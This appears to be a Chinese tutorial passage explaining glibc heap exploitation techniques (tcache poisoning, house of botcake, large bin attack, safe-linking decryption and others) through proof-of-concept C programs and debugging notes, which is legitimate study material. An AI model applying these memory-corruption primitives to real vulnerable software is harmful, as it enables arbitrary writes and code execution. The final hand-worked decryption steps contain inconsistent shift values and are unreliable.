第五部分前言
第五部分开始使用 ubuntu:18.04
编译。Tcache
基础请看 Tcache安全机制及赛题详细解析(gundam && House of Atum)。
fastbin_reverse_into_tcache
源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
const size_t allocsize = 0x40;
int main(){
setbuf(stdout, NULL);
printf(
"\n"
"This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
"except it works with a small allocation size (allocsize <= 0x78).\n"
"The goal is to set things up so that a call to malloc(allocsize) will write\n"
"a large unsigned value to the stack.\n\n"
);
// Allocate 14 times so that we can free later.
char* ptrs[14];
size_t i;
for (i = 0; i < 14; i++) {
ptrs[i] = malloc(allocsize);
}
printf(
"First we need to free(allocsize) at least 7 times to fill the tcache.\n"
"(More than 7 times works fine too.)\n\n"
);
// Fill the tcache.
for (i = 0; i < 7; i++) {
free(ptrs[i]);
}
char* victim = ptrs[7];
printf(
"The next pointer that we free is the chunk that we're going to corrupt: %p\n"
"It doesn't matter if we corrupt it now or later. Because the tcache is\n"
"already full, it will go in the fastbin.\n\n",
victim
);
free(victim);
printf(
"Next we need to free between 1 and 6 more pointers. These will also go\n"
"in the fastbin. If the stack address that we want to overwrite is not zero\n"
"then we need to free exactly 6 more pointers, otherwise the attack will\n"
"cause a segmentation fault. But if the value on the stack is zero then\n"
"a single free is sufficient.\n\n"
);
// Fill the fastbin.
for (i = 8; i < 14; i++) {
free(ptrs[i]);
}
// Create an array on the stack and initialize it with garbage.
size_t stack_var[6];
memset(stack_var, 0xcd, sizeof(stack_var));
printf(
"The stack address that we intend to target: %p\n"
"It's current value is %p\n",
&stack_var[2],
(char*)stack_var[2]
);
printf(
"Now we use a vulnerability such as a buffer overflow or a use-after-free\n"
"to overwrite the next pointer at address %p\n\n",
victim
);
//------------VULNERABILITY-----------
// Overwrite linked list pointer in victim.
*(size_t**)victim = &stack_var[0];
//------------------------------------
printf(
"The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n"
);
// Empty tcache.
for (i = 0; i < 7; i++) {
ptrs[i] = malloc(allocsize);
}
printf(
"Let's just print the contents of our array on the stack now,\n"
"to show that it hasn't been modified yet.\n\n"
);
for (i = 0; i < 6; i++) {
printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
}
printf(
"\n"
"The next allocation triggers the stack to be overwritten. The tcache\n"
"is empty, but the fastbin isn't, so the next allocation comes from the\n"
"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n"
"Those 7 chunks are copied in reverse order into the tcache, so the stack\n"
"address that we are targeting ends up being the first chunk in the tcache.\n"
"It contains a pointer to the next chunk in the list, which is why a heap\n"
"pointer is written to the stack.\n"
"\n"
"Earlier we said that the attack will also work if we free fewer than 6\n"
"extra pointers to the fastbin, but only if the value on the stack is zero.\n"
"That's because the value on the stack is treated as a next pointer in the\n"
"linked list and it will trigger a crash if it isn't a valid pointer or null.\n"
"\n"
"The contents of our array on the stack now look like this:\n\n"
);
malloc(allocsize);
for (i = 0; i < 6; i++) {
printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
}
char *q = malloc(allocsize);
printf(
"\n"
"Finally, if we malloc one more time then we get the stack address back: %p\n",
q
);
assert(q == (char *)&stack_var[2]);
return 0;
}
调试
1
2
3
4
首先申请 14
个 chunk
,先后将 tcache
和 fastbinY[4]
填满。其中 victim
指向第 8
个 chunk
也就是 fastbinY[4]
的最后一个 chunk_ptrs[7]
。
5
6
将 victim(ptrs[7]_fd)
指向 stack_var[0]
的位置,然后将 tcache
清空。
7
8
这次 malloc
将会先从 fastbin
头部取出一个 chunk
,然后把 fastbin
清空,放入tcache
中,因为 fastbin
取出时从头开始,tcache
又是 FIFO
结构, 所以放入 tcache
是倒序的,把 stack_var
也算做了一个 chunk
,所以是满 7
个。
9
10
此时再去申请一个 0x50
大小的 chunk
将会把 stack_var
取出来,此时 q == stack_var[2]
。
house_of_botcake
libc-2.29
新增加double free
检查,方法是在 tcache_entry
结构体中新增加标志位 key
来检查 chunk
是否在 tcache bin
中。当 free
掉一个堆块进入 tcache
时,假如堆块的 bk
位存放的key == tcache_key
, 就会遍历这个大小的 Tcache
,假如发现同地址的堆块,则触发 double Free
报错。因为 chunk
的 key
保存在 bk
位置,只需将其修改即可绕过 double free
检查。而 house_of_botcake
是另一种方法。
源码
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
/*
* This attack should bypass the restriction introduced in
* https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
* If the libc does not include the restriction, you can simply double free the victim and do a
* simple tcache poisoning
* And thanks to @anton00b and @subwire for the weird name of this technique */
// disable buffering so _IO_FILE does not interfere with our heap
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// introduction
puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
puts("returning a pointer to an arbitrary location (in this demo, the stack).");
puts("This attack only relies on double free.\n");
// prepare the target
intptr_t stack_var[4];
puts("The address we want malloc() to return, namely,");
printf("the target address is %p.\n\n", stack_var);
// prepare heap layout
puts("Preparing heap layout");
puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
puts("Allocating a chunk for later consolidation");
intptr_t *prev = malloc(0x100);
puts("Allocating the victim chunk.");
intptr_t *a = malloc(0x100);
printf("malloc(0x100): a=%p.\n", a);
puts("Allocating a padding to prevent consolidation.\n");
malloc(0x10);
// cause chunk overlapping
puts("Now we are able to cause chunk overlapping");
puts("Step 1: fill up tcache list");
for(int i=0; i<7; i++){
free(x[i]);
}
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
free(a);
puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
free(prev);
puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
malloc(0x100);
/*VULNERABILITY*/
free(a);// a is already freed
/*VULNERABILITY*/
// simple tcache poisoning
puts("Launch tcache poisoning");
puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk");
intptr_t *b = malloc(0x120);
puts("We simply overwrite victim's fwd pointer");
b[0x120/8-2] = (long)stack_var;
// take target out
puts("Now we can cash out the target chunk.");
malloc(0x100);
intptr_t *c = malloc(0x100);
printf("The new chunk is at %p\n", c);
// sanity check
assert(c==stack_var);
printf("Got control on target/stack!\n\n");
// note
puts("Note:");
puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim");
puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");
return 0;
}
调试
11
12
13
首先申请9
个 non-fast_chunk
和一个 obstruct-chunk
,将 tcache
填满,剩余两个放入 unsorted_bin
,因为 a
与 prev
相邻,所以会被整合在一起。
14
15
16
从 tcache
头部取出一个 chunk
,然后再次 free(a)
,此时 chunk_a
同时出现在了 unsorted_bin
和 tcache
中。
17
18
19
此时申请 0x120
大小的 chunk
将 unsorted_bin
中包含 chunk_a_fd
的 chunk
申请出来,我们就可以修改 tcache
中 chunk_a
的下一个链接进来的 chunk
为我们伪造的 chunk
,在申请两次用户区为 0x100
大小的 chunk
就可以将我们伪造的 chunk
申请出来。
tcache_house_of_spirit
源码
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
setbuf(stdout, NULL);
printf("This file demonstrates the house of spirit attack on tcache.\n");
printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");
printf("Ok. Let's start with the example!.\n\n");
printf("Calling malloc() once so that it sets up its memory.\n");
malloc(1);
printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
unsigned long long *a; //pointer that will be overwritten
unsigned long long fake_chunks[10]; //fake chunk region
printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);
printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size
printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];
printf("Freeing the overwritten pointer.\n");
free(a);
printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
void *b = malloc(0x30);
printf("malloc(0x30): %p\n", b);
assert((long)b == (long)&fake_chunks[2]);
}
调试
20
21
这种利用能够方法很简单,只需要将 fake_chunks_size=0x40
,然后 free(fake_chunk)
即可将其放入到 tcache
中,再去申请 0x30
大小的 chunk
即可将其申请出来。
tcache_poisoning
源码
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n"
"The attack is very similar to fastbin corruption attack.\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");
size_t stack_var;
printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);
printf("Allocating 2 buffers.\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);
printf("Freeing the buffers...\n");
free(a);
free(b);
printf("Now the tcache list has [ %p -> %p ].\n", b, a);
printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
b[0] = (intptr_t)&stack_var;
printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);
printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", &stack_var);
intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
printf("We got the control\n");
assert((long)&stack_var == (long)c);
return 0;
}
调试
22
23
24
25
申请同样大小的 a,b
两个 chunk
,并将其放在 tcache
中。然后将后进入的 chunk_b_fd
改为 stack_var_fd
,这样就能将其链接进 tcache
,tcache
的数量为 2
,可以申请两个 chunk
出来。 在 2.29
以后,如果 tcache
的数量为 0
,就算 tcache
中有 free_chunk
也不会将其取出来,所以我们确保 tcache
的数量为 2
,这样就能取出两个 chunk
。
tcache_stashing_unlink_attack
利用 calloc
可以越过 tcache
取 chunk
的特点结合 house of lore
进行的攻击手段,可以向任意地址写入任意值,也可以申请任意地址。
源码
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;
setbuf(stdout, NULL);
printf("This file demonstrates the stashing unlink attack on tcache.\n\n");
printf("This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n");
printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");
// stack_var emulate the fake_chunk we want to alloc to
printf("Stack_var emulates the fake chunk we want to alloc to.\n\n");
printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");
stack_var[3] = (unsigned long)(&stack_var[2]);
printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
printf("Now we alloc 9 chunks with malloc.\n\n");
//now we malloc 9 chunks
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}
//put 7 chunks into tcache
printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");
for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}
printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");
//last tcache bin
free(chunk_lis[1]);
//now they are put into unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);
//convert into small bin
printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");
malloc(0xa0);// size > 0x90
//now 5 tcache bins
printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");
malloc(0x90);
malloc(0x90);
printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);
//change victim->bck
/*VULNERABILITY*/
chunk_lis[2][1] = (unsigned long)stack_var;
/*VULNERABILITY*/
//trigger the attack
printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");
calloc(1,0x90);
printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);
//malloc and return our fake chunk on stack
target = malloc(0x90);
printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
assert(target == &stack_var[2]);
return 0;
}
基础知识
#if USE_TCACHE //如果程序启用了Tcache
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
//遍历整个smallbin,获取相同size的free chunk
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
//判定Tcache的size链表是否已满,并且取出smallbin的末尾Chunk。
//验证取出的Chunk是否为Bin本身(Smallbin是否已空)
while ( tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin) ) != bin)
{
//如果成功获取了Chunk
if (tc_victim != 0)
{
// 获取 small bin 中倒数第二个 chunk 。
bck = tc_victim->bk;
//设置标志位
set_inuse_bit_at_offset (tc_victim, nb);
// 如果不是 main_arena,设置对应的标志
if (av != &main_arena)
set_non_main_arena (tc_victim);
//取出最后一个Chunk
bin->bk = bck;
bck->fd = bin;
//将其放入到Tcache中
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
可以看到,这种攻击手段并没有经过 house of lore
的需要经过的验证,即没有这一个要求 bck->fd == victim
。
调试
26
目标地址的 stack_var_bk == stack_var_fd
,为了后续将 fake_chunk
的 bk
指针指向一块可写的内存,绕过 glibc
在摘链表时候的检查,样例中我们在 small_bin
中摘取两个 chunk
放入 tcache
,tcache
便已经满了,不会再去索取 fake_chunk_bk
。
27
28
29
申请 9
个 0x90
大小的 chunk
,将 3~8
这 6
个 chunk
放进 tcache
中, 然后依次释放 1,0,2
三个 chunk
,1
将会进入 tcache
中,0,2
进入 unsorted
,因为不相邻,所以不会触发合并。
30
31
malloc(0xa0)
将会触发整理机制,将 unsorted_bin
中的 chunk
放进 small_bin
。
32
接下来在 tcache
中腾出两个位置,为后续放入 small_bin chunk
做准备。
33
34
将 small_bin
中倒数第二个 chunk_bk
指向 stack_var
,为后续将 chunk
放入 tcache
中做索引。
35
36
利用 calloc(1,0x90)
将 small_bin
中最后一个 chunk
拿出来,然后触发整理机制,将 small_bin
中剩余的 chunk
倒序取出放入 tcache
,也就是按 bk
去索引。
37
38
此时再次申请将会把目标地址的fake_chunk
申请出来。
第六部分前言
large_bin_attack (glibc > 2.29)
本次使用 ubuntu:20.04
。
源码
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
/*
A revisit to large bin attack for after glibc2.30
Relevant code snippet :
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
*/
int main(){
/*Disable IO buffering to prevent stream from interfering with heap*/
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
printf("\n\n");
printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
printf("Check 1 : \n");
printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
printf("Check 2 : \n");
printf("> if (bck->fd != fwd)\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
printf("This prevents the traditional large bin attack\n");
printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");
printf("====================================================================\n\n");
size_t target = 0;
printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
size_t *p1 = malloc(0x428);
printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
size_t *g1 = malloc(0x18);
printf("And another chunk to prevent consolidate\n");
printf("\n");
size_t *p2 = malloc(0x418);
printf("We also allocate a second large chunk [p2] (%p).\n",p2-2);
printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
size_t *g2 = malloc(0x18);
printf("Once again, allocate a guard chunk to prevent consolidate\n");
printf("\n");
free(p1);
printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
size_t *g3 = malloc(0x438);
printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");
printf("\n");
free(p2);
printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
printf(" and one chunk in unsorted bin [p2] (%p)\n",p2-2);
printf("\n");
p1[3] = (size_t)((&target)-4);
printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);
printf("\n");
size_t *g4 = malloc(0x438);
printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
printf(" the modified p1->bk_nextsize does not trigger any error\n");
printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);
printf("\n");
printf("In out case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
printf("Target (%p) : %p\n",&target,(size_t*)target);
printf("\n");
printf("====================================================================\n\n");
assert((size_t)(p2-2) == target);
return 0;
}
基础知识
glibc-2.30
新增了两道检查:
// largebin_chunk->bk_nextsize->fd_nextszie != largebin_chunk
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
// largebin_chunk->bk->fd != largebin_chunk
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
利用代码:
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) {
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
调试
39
布置堆结构如上,图中从上到下chunk
分别为 p1, g1, p2, g2
。
40
41
将 chunk_p1
放进 largebin
,将 chunk_p2
放进 unsorted_bin
,(largebin)p1_size > (unsorted)p2_size
。
42
43
修改p1_bk_nextsize = target-0x20
,也就是fake_chunk_fd_nextsize
。
44
然后申请 0x438
大小的 chunk
,触发整理机制将 chunk_p2
链接进 largebin
,因为 p2_size < (largebin_least)p1
,会触发如下代码。
// victim:p2, fwd:largebin表头, bck:largebin_least_chunk(p1)
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) {
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
-
p2->fd_nextsize = p1;
-
p2->bk_nextsize = (target-0x20)p1->bk_nextsize;
-
(target-0x20)p1->bk_nextsize = target = p2;
第三步时将 (target)fake_chunk_fd_nextsize
改为了 p2_prev
。
最后目标地址被成功修改为一个大数。写大数的行为,可以用来修改global_max_fast
。
decrypt_safe_linking(glibc > 2.31)
本次使用 ubuntu:22.04
进行编译。
源码
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
long decrypt(long cipher)
{
puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,");
puts("because of the 12bit sliding.");
puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)");
long key = 0;
long plain;
for(int i=1; i<6; i++) {
int bits = 64-12*i;
if(bits < 0) bits = 0;
plain = ((cipher ^ key) >> bits) << bits;
key = plain >> 12;
printf("round %d:\n", i);
printf("key: %#016lx\n", key);
printf("plain: %#016lx\n", plain);
printf("cipher: %#016lx\n\n", cipher);
}
return plain;
}
int main()
{
/*
* This technique demonstrates how to recover the original content from a poisoned
* value because of the safe-linking mechanism.
* The attack uses the fact that the first 12 bit of the plaintext (pointer) is known
* and the key (ASLR slide) is the same to the pointer's leading bits.
* As a result, as long as the chunk where the pointer is stored is at the same page
* of the pointer itself, the value of the pointer can be fully recovered.
* Otherwise, we can also recover the pointer with the page-offset between the storer
* and the pointer. What we demonstrate here is a special case whose page-offset is 0.
* For demonstrations of other more general cases, plz refer to
* https://github.com/n132/Dec-Safe-Linking
*/
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// step 1: allocate chunks
long *a = malloc(0x20);
long *b = malloc(0x20);
printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b);
malloc(0x10);
puts("And then create a padding chunk to prevent consolidation.");
// step 2: free chunks
puts("Now free chunk a and then free chunk b.");
free(a);
free(b);
printf("Now the freelist is: [%p -> %p]\n", b, a);
printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]);
// step 3: recover the values
puts("Now decrypt the poisoned value");
long plaintext = decrypt(b[0]);
printf("value: %p\n", a);
printf("recovered value: %#lx\n", plaintext);
assert(plaintext == (long)a);
}
基础知识
对 tcache_next(fd)
新增检查:
// 加密
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
// 解密
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
/*
* 原理: A:fd;B:(pos>>12);C:(ptr); A=B^C; C=A^B;
*/
45
P
表示将保存在空闲块的 fd
字段中的指针值。L
表示 fd
字段本身的地址。L>>12
是 L
的右移值,用于对 P
进行异或运算,从而产生一个编码指针P'
。Safe Linking
将这个P'
值存储在 fd
字段中。
46
47
48
bypass safe-linking
机制需要用到 uaf
或者 double free
之类的漏洞, 同时释放 tcache
到一个空闲 tacahe bin
中, 此时由于tcache bin
中没有空闲chunk
, tcache->entry[tc_idx]=0
,若存在 uaf
或者 double free
,可以泄露出 leak_addr= (&tcache_chunk->fd)>>12
位置, 则 heap_base=leak_addr<<12
。double free
需要将 tcache_chunk_bk
改为 0
,绕过检查。对于 2.32
及以后的 glibc
版本的 tcache_poisoning
需要将 target
地址进行加密。
调试
49
50
申请a,b
两个 tcache_chunk
,最后一个 chunk_0x10
用于隔离,下面解析 b_fd
。
def decrypt(cipher):
key=0
plain=0
for i in range(1,6):
bits= 64-12*(i)
if(bits<0):
bits=0
plain = ((cipher ^ key) >> bits) << bits
key = plain >> 12
print("round %d:\n"%(i))
print("key: %#016lx\n"%key)
print("plain: %#016lx\n"%plain)
print("cipher: %#016lx\n\n"%cipher)
前置:
P:0x0000_555_555_55b_2a0; L:0x0000_555_555_55b_2d0; L>>12:0x0000_000_555_555_55b; p':0x0000_555_000_00e_7fb
(0x55555555b2d0 >> 12) = 0x55555555B; 0x55555555b2a0 ^ 0x55555555B = 0x55500000E7FB;
步骤:
P ^ (L >> 12);
。 此时 L
高 12
位为 0
,而 P
高 12
位为 0x555
,异或时将保留 0x0000_555
,而异或操作又是可逆的,所以用保留的 0x0000_555_000_000_000
和 低位 0x0000_000_555_000_000
取异或即可得到低三位的真实地址,以此类推有了以下步骤。
-
bits = 52;
key = 0;
plain = ((0x0000_555_000_00e_7fb ^ 0) >> 52) << 52 = 0x000_000_000_000_0000;
key = plain >> 12 = 0;
-
bits = 40;
key = 0;
plain = ((0x0000_555_000_00e_7fb ^ 0) >> 40) << 40 = 0x000_055_000_000_0000;
key = plain >> 12 = 0x000_000_055_000_000_0
-
bits = 28;
key = 0x000_000_055_000_000_0;
plain = ((0x000_055_500_000_e7fb ^ 0x000_000_055_000_000_0) >> 28) << 28 = 0x000_055_555_000_0000
key = plain >> 12 = 0x000_000_055_555_0000;
-
bits = 16;
key = 0x000_000_055_555_0000;
plain = ((0x000_055_500_000_e7fb ^ 0x000_000_055_555_0000) >> 28) << 28 = 0x000_055_555_555_0000
key = plain >> 12 = 0x000_000_055_555_5550;
-
bits = 4;
key = 0x000_000_055_555_5550;
plain = ((0x000_055_500_000_e7fb ^ 0x000_000_055_555_5550) >> 28) << 28 = 0x000_055_555_555_b2a0
key = plain >> 12 = 0x000_055_555_555_b;